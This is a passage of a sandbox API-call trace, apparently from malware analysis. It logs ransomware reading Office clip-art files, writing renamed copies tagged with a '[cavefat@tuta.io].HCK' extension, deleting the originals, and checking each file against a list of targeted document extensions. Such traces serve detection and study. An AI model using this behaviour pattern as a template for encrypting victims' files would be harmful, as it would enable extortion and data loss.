[0234.012] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2c20, lpOverlapped=0x0) returned 1 [0234.013] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.013] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.013] SetEndOfFile (hFile=0x4a0) returned 1 [0234.013] CloseHandle (hObject=0x4a0) returned 1 [0234.013] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.013] SetEndOfFile (hFile=0x4b4) returned 1 [0234.015] CloseHandle (hObject=0x4b4) returned 1 [0234.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0234.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.016] lstrlenW (lpString=".doc") returned 4 [0234.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.016] lstrlenW (lpString=".docx") returned 5 [0234.016] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0234.016] lstrlenW (lpString=".pdf") returned 4 [0234.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.016] lstrlenW (lpString=".xls") returned 4 [0234.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.017] lstrlenW (lpString=".xlsx") returned 5 [0234.017] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0234.017] lstrlenW (lpString=".ppt") returned 4 [0234.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".zip") returned 4 [0234.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.017] lstrlenW (lpString=".rar") returned 4 [0234.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString=".bz2") returned 4 [0234.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString=".7z") returned 3 [0234.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".dbf") returned 4 [0234.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".1cd") returned 4 [0234.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".jpg") returned 4 [0234.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".doc") returned 4 [0234.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString=".docx") returned 5 [0234.017] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0234.017] lstrlenW (lpString=".pdf") returned 4 [0234.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString=".xls") returned 4 [0234.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.017] lstrlenW (lpString=".xlsx") returned 5 [0234.017] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0234.017] lstrlenW (lpString=".ppt") returned 4 [0234.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".zip") returned 4 [0234.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.017] lstrlenW (lpString=".rar") returned 4 [0234.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString=".bz2") returned 4 [0234.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString=".7z") returned 3 [0234.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".dbf") returned 4 [0234.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.017] lstrlenW (lpString=".1cd") returned 4 [0234.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0234.018] lstrlenW (lpString=".jpg") returned 4 [0234.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.018] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.018] lstrlenW (lpString="J0107328.WMF") returned 12 [0234.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.018] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6532) returned 1 [0234.018] CloseHandle (hObject=0x4b4) returned 1 [0234.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0234.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.019] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.019] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0234.019] GetLastError () returned 0x0 [0234.019] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1984, lpOverlapped=0x0) returned 1 [0234.021] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1990, lpOverlapped=0x0) returned 1 [0234.022] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.022] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.022] SetEndOfFile (hFile=0x4a0) returned 1 [0234.022] CloseHandle (hObject=0x4a0) returned 1 [0234.022] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.022] SetEndOfFile (hFile=0x4b4) returned 1 [0234.344] CloseHandle (hObject=0x4b4) returned 1 [0234.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0234.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.345] lstrlenW (lpString=".doc") returned 4 [0234.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.345] lstrlenW (lpString=".docx") returned 5 [0234.345] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.345] lstrlenW (lpString=".pdf") returned 4 [0234.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.345] lstrlenW (lpString=".xls") returned 4 [0234.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.345] lstrlenW (lpString=".xlsx") returned 5 [0234.345] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.345] lstrlenW (lpString=".ppt") returned 4 [0234.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.345] lstrlenW (lpString=".zip") returned 4 [0234.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.345] lstrlenW (lpString=".rar") returned 4 [0234.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.345] lstrlenW (lpString=".bz2") returned 4 [0234.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.345] lstrlenW (lpString=".7z") returned 3 [0234.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.345] lstrlenW (lpString=".dbf") returned 4 [0234.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.345] lstrlenW (lpString=".1cd") returned 4 [0234.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString=".jpg") returned 4 [0234.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString=".doc") returned 4 [0234.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString=".docx") returned 5 [0234.346] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.346] lstrlenW (lpString=".pdf") returned 4 [0234.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString=".xls") returned 4 [0234.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.346] lstrlenW (lpString=".xlsx") returned 5 [0234.346] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.346] lstrlenW (lpString=".ppt") returned 4 [0234.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString=".zip") returned 4 [0234.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.346] lstrlenW (lpString=".rar") returned 4 [0234.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString=".bz2") returned 4 [0234.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString=".7z") returned 3 [0234.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString=".dbf") returned 4 [0234.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString=".1cd") returned 4 [0234.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0234.346] lstrlenW (lpString=".jpg") returned 4 [0234.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.346] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.346] lstrlenW (lpString="J0107458.WMF") returned 12 [0234.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.347] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3568) returned 1 [0234.347] CloseHandle (hObject=0x4b4) returned 1 [0234.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220 [0234.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.348] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.348] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.348] GetLastError () returned 0x0 [0234.348] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xdf0, lpOverlapped=0x0) returned 1 [0234.350] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xe00, lpOverlapped=0x0) returned 1 [0234.350] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.350] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.350] SetEndOfFile (hFile=0x4c0) returned 1 [0234.352] CloseHandle (hObject=0x4c0) returned 1 [0234.352] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.352] SetEndOfFile (hFile=0x4b4) returned 1 [0234.354] CloseHandle (hObject=0x4b4) returned 1 [0234.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0234.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.355] lstrlenW (lpString=".doc") returned 4 [0234.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.355] lstrlenW (lpString=".docx") returned 5 [0234.355] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.355] lstrlenW (lpString=".pdf") returned 4 [0234.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.355] lstrlenW (lpString=".xls") returned 4 [0234.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.355] lstrlenW (lpString=".xlsx") returned 5 [0234.355] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.355] lstrlenW (lpString=".ppt") returned 4 [0234.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".zip") returned 4 [0234.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.356] lstrlenW (lpString=".rar") returned 4 [0234.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString=".bz2") returned 4 [0234.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString=".7z") returned 3 [0234.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".dbf") returned 4 [0234.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".1cd") returned 4 [0234.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".jpg") returned 4 [0234.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".doc") returned 4 [0234.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString=".docx") returned 5 [0234.356] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.356] lstrlenW (lpString=".pdf") returned 4 [0234.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString=".xls") returned 4 [0234.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.356] lstrlenW (lpString=".xlsx") returned 5 [0234.356] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.356] lstrlenW (lpString=".ppt") returned 4 [0234.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".zip") returned 4 [0234.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.356] lstrlenW (lpString=".rar") returned 4 [0234.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString=".bz2") returned 4 [0234.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString=".7z") returned 3 [0234.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".dbf") returned 4 [0234.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.356] lstrlenW (lpString=".1cd") returned 4 [0234.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0234.357] lstrlenW (lpString=".jpg") returned 4 [0234.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.357] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.357] lstrlenW (lpString="J0107468.WMF") returned 12 [0234.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.357] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=9612) returned 1 [0234.357] CloseHandle (hObject=0x4b4) returned 1 [0234.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220 [0234.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.358] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.358] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.360] GetLastError () returned 0x0 [0234.360] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x258c, lpOverlapped=0x0) returned 1 [0234.361] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2590, lpOverlapped=0x0) returned 1 [0234.362] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, 